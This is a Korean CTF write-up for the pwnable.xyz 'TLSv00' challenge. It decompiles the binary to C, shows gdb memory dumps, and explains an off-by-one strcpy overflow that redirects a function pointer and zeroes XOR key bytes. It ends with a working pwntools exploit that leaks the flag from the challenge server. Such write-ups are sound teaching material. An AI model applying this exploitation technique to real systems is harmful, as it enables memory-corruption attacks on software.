[pwnable.xyz] TLSv00 write up
pwnable.xyz 의 10번째 문제 TLSv00 이다.
Analyze
문제 파일의 사용자 정의 함수를 보면 많은 함수들이 존재하는 것을 볼 수 있다.
위 함수들을 gdb로 분석하여 c언어로 표현하면 아래와 같다.
#include <stdio.h>
#include <fcntl.h>
char key[64]; // 0x555555756040
char do_comment[16]; // 0x555555756080
char flag[64]; // 0x5555557560a0
void print_menu(){
printf("1. Re-generate key\n2. Load flag\n3. Print flag\n");
}
int read_int32(){
memset(&rbp-0x30, 0, 0x20);
*(&rbp-0x34) = read(0, &rbp-0x30, 0x20);
*(&rbp-0x34) -= 0x1;
// 1byte 값만 가져옴
*(&rbp + (*(&rbp-0x34)) * 1 - 0x30) = 0;
return atoi(&rbp - 0x30);
}
void load_flag(){
int fd = open("/flag");
int count;
if(fd == -1){
printf("Can't open flag.\n");
exit(1);
}
read(fd, flag, 0x40);
count = 0;
while(count <= 0x3f){ // 63 (64 loop)
char tmp1 = flag[count];
char tmp2 = key[count];
tmp1 = tmp1 ^ tmp2;
flag[count] = tmp1;
count++;
}
close(fd);
}
void print_flag(){
printf("WARNING: NOT IMPLEMENTED.\n");
if(!do_comment[0]){
printf("Wanna take a survey instead? \n");
char tmp = getchar();
if(tmp == 0x79){
*(do_comment) = &f_do_comment;
}
// call *(do_comment)
}
}
void f_do_comment(){
printf("Enter comment: ");
read(0, &rbp-0x30, 0x21); // Where is writing? 0x7fffffffe470
}
void real_print_flag(){
printf("%s", flag);
}
void generate_key(int len){ // &rbp-0x64
int count; // &rbp - 0x58
char random_char; // &rbp-0x50 = 0x7fffffffe460
if(0 < len && len <= 0x40){
memset(random_char, 0, 0x48);
int fd = open("/dev/urandom"); // &rbp-0x54
if(fd == -1){
printf("Can't open /dev/urandom");
exit(1);
}
read(fd, random_char, len); // random_char = &rbp-0x50 = 0x7fffffffe460
count = 0;
while(count < len){
if(random_char[count])
count++;
else{ // If random value (1byte) is 0x00
read(fd, random_char[count], 1);
}
}
strcpy(key, random_char); // Overflow !!
close(fd)
}
else{
printf("Invalid key size.\n");
}
}
int main(){
int select; // &rbp-0x8
int len; // &rbp-0x4
puts("Muahaha you thought I would never make a crypto chal?\n");
generate_key(0x3f);
while(1){
print_menu();
printf("> ");
select = read_int32();
if (select == 1){
printf("key len: ");
len = read_int32();
generate_key(len);
}
else if(select == 2){
load_flag();
}
else if(select == 3){
print_flag();
}
else if(select == 4){
// nop ??
}
else{
printf("Invalid\n");
}
}
}
실행될때, key 변수에 0x3f(63) 만큼 /dev/urandom 을 이용해 랜덤 값을 저장한다.
select => 2 일때, flag 파일을 읽어 key 값과 XOR 연산을 한다.
여기서 원본 flag 값을 보기 위해서는 key 값이 0 이면 ("A" ^ 0x00 = "A" ) 원본 flag 값을 가질 수 있다.
이 값을 출력하기 위해서는 real_print_flag() 함수를 호출해야 하지만, 호출 할 메뉴 선택이 없다.
잘 봐야 할 함수가 generate_key()와 print_flag() 함수이다.
print_flag()
select => 3 일때 동작을 하는데, do_comment 변수의 값이 0이 아니면 getchar() 함수로 입력을 받는다.
void print_flag(){
printf("WARNING: NOT IMPLEMENTED.\n");
if(!do_comment[0]){
printf("Wanna take a survey instead? \n");
char tmp = getchar();
if(tmp == 0x79){
*(do_comment) = &f_do_comment;
}
// call function ???(0, *(do_comment));
// or call *(do_comment)
}
// nop ??
}
이때 "y" 값을 입력하면 do_comment 값에 f_do_comment 함수의 주소를 넣는다.
그 후 do_comment 값을 가져와 CALL 한다.
이때 f_do_comment() 의 주소는 0x0000555555554b1f 이다.
(f_do_comment 함수는 의미 없음. 주소가 중요)
generate_key(int len)
이 함수는 select => 1 일때, 사용자가 입력한 길이 만큼 (0< len <=0x40) key의 길이를 설정할 수 있다.
random_char에 랜덤 값을 저장하여 최종적으로 strcpy() 함수로 key에 저장한다.
strcpy() 함수는 key 변수 값 끝에 0x00 을 추가하여 붙이게 된다.!
그렇다면, 사용자가 키 길이는 64(0x40) 이라고 입력했을때, random_char 변수는 64개의 크기를 저장하지만
strcpy() 함수를 통해 key 변수에 64 + 1(0x00) = 65bytes 값을 가지게 된다.
1byte overflow 가 발생하는 것이다.
변수 key, do_comment, flag 의 메모리 구조를 보면 아래와 같다.
gdb-peda$ x/32gx 0x555555756040
0x555555756040 <key>: 0x0000000000000000 0x0000000000000000
0x555555756050 <key+16>: 0x0000000000000000 0x0000000000000000
0x555555756060 <key+32>: 0x0000000000000000 0x0000000000000000
0x555555756070 <key+48>: 0x0000000000000000 0x0000000000000000
0x555555756080 <do_comment>: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0 <flag>: 0x0000000000000000 0x0000000000000000
0x5555557560b0 <flag+16>: 0x0000000000000000 0x0000000000000000
0x5555557560c0 <flag+32>: 0x0000000000000000 0x0000000000000000
0x5555557560d0 <flag+48>: 0x0000000000000000 0x0000000000000000
1byte Overflow 가 발생한다면, do_comment[0] 에 값이 0x00 으로 바뀌게 된다.
위 print_flag() 함수에서 do_comment 변수에는 0x0000555555554b1f 값이 저장된다고 했다.
Overflow 가 발생한다면, 0x0000555555554b00 이 된다.
저 주소로 가면 real_print_flag() 의 주소 임을 알 수 있다.
위 상황을 종합하여 공격 시나리오를 생각해보면,
select 3 => "y": f_do_comment() 의 주소를 do_comment 변수에 저장
select 1: key 길이를 64로 입력 (1byte overflow)
select 2: flag 파일 load
select 3 => "a": real_print_flag() 호출
아래 처럼 암호화된 flag를 획득 할 수 있다.
하지만, flag 값은 암호화 되어 알수가 없다.
key 값이 0이면 원본 값을 알 수 있다.
generate_key() 함수에서 사용자가 키 길이를 입력 할 수 있다.
만약 key 길이가 1이면 strcpy() 함수로 2번째에 0x00 값이 들어간다!
gdb-peda$ x/gx 0x555555756040
0x555555756040 <key>: 0x8926c2b0889f3070
2번째에 0x00이 들어갔다.
gdb-peda$ x/16gx 0x555555756040
0x555555756040 <key>: 0x8926c2b0889f003e
그렇다면 위 공격 시나리오에서 수정하면
select 3 => "y": f_do_comment() 의 주소를 do_comment 변수에 저장
select 1: key 길이를 64로 입력 (1byte overflow)
select 1: key 길이를 1로 입력 (strcpy() 함수로 0x00 값 추가)
select 2: flag 파일 load
select 3 => "a": real_print_flag() 호출
0x00 으로 XOR 한 값들이 원본으로 출력이 되게 된다.
똑같은 방법으로 key 길이를 1 ~ 32 로 계속 늘리면 flag를 얻을 수 있다.
Payload
from pwn import *
flag = "F"
p = remote("svc.pwnable.xyz", 30006)
# Write do_comment
p.sendlineafter("> ", "3")
p.sendlineafter("? ", "y")
# Overwrite 1byte 0x00
p.sendlineafter("> ", "1")
p.sendlineafter("key len: ", "64")
for i in range(1, 33):
# Set key length
p.sendlineafter("> ", "1")
p.sendlineafter("key len: ", str(i))
# Load flag text
p.sendlineafter("> ", "2")
# Print flag
p.sendlineafter("> ", "3")
p.sendlineafter("? ", "b")
getData = p.recv(70)
# print(getData)
flag += getData[i]
print("[*] " + flag)
위 코드를 실행하면 실행할때 마다, 출력되는 flag 값이 한글자 정도 다르던데, 여러번 실행하여 flag를 유추하여 값을 찾아 냈다.
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] l33t-ness write up (0) | 2020.01.31 |
---|---|
[pwnable.xyz] Jmp table write up (0) | 2020.01.31 |
[pwnable.xyz] free spirit write up (0) | 2020.01.27 |
[pwnable.xyz] note write up (0) | 2020.01.25 |
[pwnable.xyz] Grownup write up (0) | 2020.01.25 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] l33t-ness write up
[pwnable.xyz] l33t-ness write up
2020.01.31 -
[pwnable.xyz] Jmp table write up
[pwnable.xyz] Jmp table write up
2020.01.31 -
[pwnable.xyz] free spirit write up
[pwnable.xyz] free spirit write up
2020.01.27 -
[pwnable.xyz] note write up
[pwnable.xyz] note write up
2020.01.25